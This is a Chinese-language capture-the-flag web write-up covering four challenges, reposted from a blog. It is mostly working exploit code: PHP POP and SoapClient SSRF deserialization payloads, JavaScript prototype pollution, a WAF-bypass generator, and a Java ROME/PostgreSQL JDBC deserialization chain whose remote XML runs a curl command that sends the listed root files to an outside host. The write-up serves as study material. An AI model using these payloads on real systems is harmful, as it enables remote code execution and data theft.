babyphp
index.php:
<?php //something in flag.php class A { public $a; public $b; public function __wakeup() { $this->a = "babyhacker"; } public function __invoke() { if (isset($this->a) && $this->a == md5($this->a)) { $this->b->uwant(); } } } class B { public $a; public $b; public $k; function __destruct() { $this->b = $this->k; die($this->a); } } class C { public $a; public $c; public function __toString() { $cc = $this->c; return $cc(); } public function uwant() { if ($this->a == "phpinfo") { phpinfo(); } else { call_user_func(array(reset($_SESSION), $this->a)); } } } if (isset($_GET['d0g3'])) { ini_set($_GET['baby'], $_GET['d0g3']); session_start(); $_SESSION['sess'] = $_POST['sess']; } else{ session_start(); if (isset($_POST["pop"])) { unserialize($_POST["pop"]); } } var_dump($_SESSION); highlight_file(__FILE__);
flag.php:
<?php session_start(); highlight_file(__FILE__); //flag在根目录下 if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $f1ag=implode(array(new $_GET['a']($_GET['b']))); $_SESSION["F1AG"]= $f1ag; }else{ echo "only localhost!!"; }
通过构造 pop 链查看 phpinfo 发现 session.serialize_handler 为 php, 再结合 flag.php 的源码推测是利用 session 反序列化 SoapClient 来进行 ssrf
思路就是先控制 ini_set 的参数指定 serialize_handler 为 php_serialize, 传参 sess 为反序列化 SoapClient 的 payload, 然后去掉所有 get post 参数访问一次页面触发反序列化, 最后利用已知 pop 链调用 SoapClient __call 方法来触发 ssrf
ssrf 则先利用 php 的原生类 GlobIterator 来查找根目录下以 f 开头的文件, 然后利用 SplFileObject 读取 flag
pop 链 payload:
<?php class A { public $a; public $b; } class B { } class C { public $a; public $c; } $cc = new C(); $cc->a = 'xxxx'; $a = new A(); $a->a = '0e215962017'; $a->b = $cc; $c = new C(); $c->c = $a; $b = new B(); $b->a = $c; echo serialize($b);
ssrf payload:
<?php // $a = new SoapClient(null,array('location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/f*', 'user_agent' => "111\r\nCookie: PHPSESSID=c9urdtg4kjp5jl36mrl44qlsah", 'uri' => 'test')); $a = new SoapClient(null,array('location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg', 'user_agent' => "111\r\nCookie: PHPSESSID=c9urdtg4kjp5jl36mrl44qlsah", 'uri' => 'test')); $b = serialize($a); echo '|'.urlencode($b);
先利用 GlobIterator
再利用 SplFileObject
EZ_JS
登录界面随便输入账号密码, 之后会跳转到 /cookie 路由, 右键注释 jsfuck 解密提示 输入大写
主页右键注释如下:
<!--This secret is 7 characters long for security! hash=md5(secret+"flag");//1946714cfa9deb70cc40bab32872f98a admin cookie is md5(secret+urldecode("flag%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%00%00%00%00%00%00%00dog")); -->
一眼哈希长度扩展攻击
直接更改 cookie hash 发现没有用, 后来又将 userid 置空, 出现报错
结合之前的提示, 利用 js 的大小写特性:
'ı'.toUpperCase() == 'I' // true
之后跳转到 /infoflllllag (静态环境每 30 分钟重置, 所以截的是之前的图)
var express = require('express'); var router = express.Router(); const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); } router.get('/', function(req, res, next) { if(req.flag=="flag"){ //输出flag; res.send('flag?????????????'); } res.render('info'); }); router.post('/', express.json(),function(req, res) { var str = req.body.id; var obj = JSON.parse(str); req.cookies.id=clone(obj); res.render('info'); }); module.exports = router;
很明显要通过原型链来污染 req 的 flag 属性, payload 如下
id={"__proto__":+{"flag":+"flag"}}
之后转 get 访问得到 flag
静态靶机的截图
ezupload
先上传 phpinfo
php 8.0.1, disable_functions 过滤了一堆, 不过 file_get_contents() 可用, 通过它读取题目源码
<html> <body> <form method="POST" enctype="multipart/form-data"> 这前端不美si你!!! <input type="file" name="upload_file" /> <input type="submit" name="submit" value="submit" /> </form> </body> </html> <?php function waf($var): bool{ $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"]; foreach($blacklist as $blackword){ if(stristr($var, $blackword)) return True; } return False; } error_reporting(0); //设置上传目录 define("UPLOAD_PATH", "./uploads"); $msg = "Upload Success!"; if (isset($_POST['submit'])) { $temp_file = $_FILES['upload_file']['tmp_name']; $file_name = $_FILES['upload_file']['name']; $ext = pathinfo($file_name,PATHINFO_EXTENSION); if(!preg_match("/php/i", strtolower($ext))){ die("俺不要图片,熊大"); } $content = file_get_contents($temp_file); if(waf($content)){ die("哎呦你干嘛,小黑子..."); } $new_file_name = md5($file_name).".".$ext; $img_path = UPLOAD_PATH . '/' . $new_file_name; if (move_uploaded_file($temp_file, $img_path)){ $is_upload = true; } else { $msg = 'Upload Failed!'; die(); } echo $msg." ".$img_path;
位运算 & | 没有被过滤, 这里以 | 为例, 利用 GlobIterator 查找 flag
import re preg = '\*' def convertToURL(s): if s < 16: return '%0' + str(hex(s).replace('0x', '')) else: return '%' + str(hex(s).replace('0x', '')) def generateDicts(): dicts = {} for i in range(256): for j in range(256): if not re.match(preg, chr(i), re.I) and not re.match(preg, chr(j), re.I): k = i | j if k in range(32, 127): if not k in dicts.keys(): dicts[chr(k)] = [convertToURL(i), convertToURL(j)] return dicts def generatePayload(dicts, payload): s1 = '' s2 = '' for s in payload: s1 += dicts[s][0] s2 += dicts[s][1] return f'("{s1}"|"{s2}")' dicts = generateDicts() a = generatePayload(dicts, '/f*') print(a)
payload
<?php echo new GlobIterator('/f('|'/f"');
然后用 file_get_contents() 读取 flag
<?php echo ('fil'.'e_ge'.'t_cont'.'ents')('/fl1111111111ag');
ezjaba
pom.xml
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.7.5</version> <relativePath/> <!-- lookup parent from repository --> </parent> <groupId>com.example</groupId> <artifactId>ezjaba</artifactId> <version>0.0.1-SNAPSHOT</version> <name>ezjaba</name> <description>ezjaba</description> <properties> <java.version>1.8</java.version> </properties> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>com.rometools</groupId> <artifactId>rome</artifactId> <version>1.7.0</version> </dependency> <dependency> <groupId>org.postgresql</groupId> <artifactId>postgresql</artifactId> <version>42.3.1</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.12</version> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> </plugin> </plugins> </build> </project>
IndexController
Database
JdbcUtils
SecurityObjectInpitStream
过滤了 mysql jdbc 反序列化, 网上查了一会发现最近 postgresql 依赖的 cve
https://xz.aliyun.com/t/11812
https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247485275&idx=1&sn=e06b07579ecef87f8cce4536d25789ce
结合 pom.xml 中的 rome, 通过 ToStringBean 来触发任意 getter
在题目中是利用 Database getConnection 这个 getter 来触发 jdbc 漏洞
之后从 marshalsec 的源码中找到 XString, 它的 equals 方法会调用 toString, 最终结合 hashCode 碰撞完成整条反序列化链
payload:
package com.example.ezjaba; import com.example.Reflection; import com.example.ezjaba.Connection.Database; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.org.apache.xpath.internal.objects.XString; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.util.*; public class RomeDemo { public static void main(String[] args) throws Exception{ Database database = new Database(); database.setDatabase("postgresql"); database.setHots("127.0.0.1"); database.setUsername("test"); database.setPassword("=123456&socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://1.117.70.230:65001/exp.xml"); ToStringBean toStringBean = new ToStringBean(String.class, "123"); XString xString = new XString("456"); Map map1 = new HashMap(); Map map2 = new HashMap(); map1.put("yy",toStringBean); map1.put("zZ",xString); map2.put("yy",xString); map2.put("zZ",toStringBean); Map map = new HashMap(); map.put(map1, 1); map.put(map2, 2); Reflection.setFieldValue(toStringBean, "beanClass", Database.class); Reflection.setFieldValue(toStringBean, "obj", database); ByteArrayOutputStream arr = new ByteArrayOutputStream(); try (ObjectOutputStream output = new ObjectOutputStream(arr)){ output.writeUTF("axb"); output.writeInt(2022); output.writeObject(map); } System.out.println(Base64.getEncoder().encodeToString(arr.toByteArray())); } }
exp.xml:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <!-- 普通方式创建类--> <bean id="exec" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value>curl http://x.x.x.x:yyyy/ -X POST -d "`ls /;cat /*`"</value> </list> </constructor-arg> </bean> </beans>
vps 上挂着 exp.xml, 然后用 base64 payload 打一下
转自原文链接: https://exp10it.cn/2022/11/2022-%E5%AE%89%E6%B4%B5%E6%9D%AF-web-writeup/#babyphp